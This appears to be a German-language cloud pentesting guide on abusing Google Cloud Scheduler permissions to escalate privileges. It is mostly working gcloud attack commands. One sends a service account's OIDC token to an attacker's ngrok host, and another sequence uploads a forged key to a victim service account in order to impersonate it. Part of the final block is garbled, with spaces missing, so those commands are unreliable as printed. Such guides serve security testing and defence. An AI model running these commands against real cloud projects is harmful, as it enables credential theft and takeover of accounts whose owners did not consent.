Ein Angreifer mit diesen Berechtigungen könnte Cloud Scheduler ausnutzen, um Cron-Jobs als ein bestimmtes Dienstkonto zu authentifizieren. Durch das Erstellen einer HTTP POST-Anfrage plant der Angreifer Aktionen, wie das Erstellen eines Storage-Buckets, die unter der Identität des Dienstkontos ausgeführt werden. Diese Methode nutzt die Fähigkeit des Schedulers, *.googleapis.com Endpunkte anzusprechen und Anfragen zu authentifizieren, wodurch der Angreifer Google API-Endpunkte direkt mit einem einfachen gcloud Befehl manipulieren kann.
Kontaktieren Sie jede Google API über googleapis.com mit OAuth-Token-Header
Erstellen Sie einen neuen Storage-Bucket:
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
Um Privilegien zu eskalieren, stellt ein Angreifer lediglich eine HTTP-Anfrage zusammen, die auf die gewünschte API abzielt und das angegebene Dienstkonto impersoniert.
Exfiltriere OIDC-Dienstkontotoken
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Wenn Sie die HTTP-Antwort überprüfen müssen, können Sie einfach einen Blick in die Protokolle der Ausführung werfen.
Wie im vorherigen Szenario ist es möglich, einen bereits erstellten Scheduler zu aktualisieren, um das Token zu stehlen oder Aktionen auszuführen. Zum Beispiel:
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Ein weiteres Beispiel, um einen privaten Schlüssel zu einem SA hochzuladen und ihn zu impersonieren:
# Generate local private keyopensslreq-x509-nodes-newkeyrsa:2048-days365 \-keyout /tmp/private_key.pem \-out /tmp/public_key.pem \-subj "/CN=unused"# Remove last new line character of the public keyfile_size=$(wc-c</tmp/public_key.pem)new_size=$((file_size-1))truncate-s $new_size /tmp/public_key.pem# Update scheduler to upload the key to a SAgcloudschedulerjobsupdatehttpscheduler_lab_1 \--schedule='* * * * *' \--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat/tmp/public_key.pem|base64)\"}" \--update-headers "Content-Type=application/json" \--location us-central1 \--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com# Check the logs to check it worked# Build the json to contact the SA## Get privatekey in json formatfile_content=$(<"/tmp/private_key.pem")private_key_json=$(jq-Rn--argstr"$file_content"'$str')## Get ID of the generated keygcloudiamservice-accountskeyslist--iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com# Create the json in a file{"type":"service_account","project_id":"$PROJECT_ID","private_key_id":"<key id from key list>","private_key":"$private_key_json","client_email":"victim@$PROJECT_ID.iam.gserviceaccount.com","client_id": "$(gcloud iam service-accounts describe victim@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri":"https://accounts.google.com/o/oauth2/auth","token_uri":"https://oauth2.googleapis.com/token","auth_provider_x509_cert_url":"https://www.googleapis.com/oauth2/v1/certs","client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/victim%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain":"googleapis.com"}# Activate the generated keygcloudauthactivate-service-account--key-file=/tmp/fake_key.json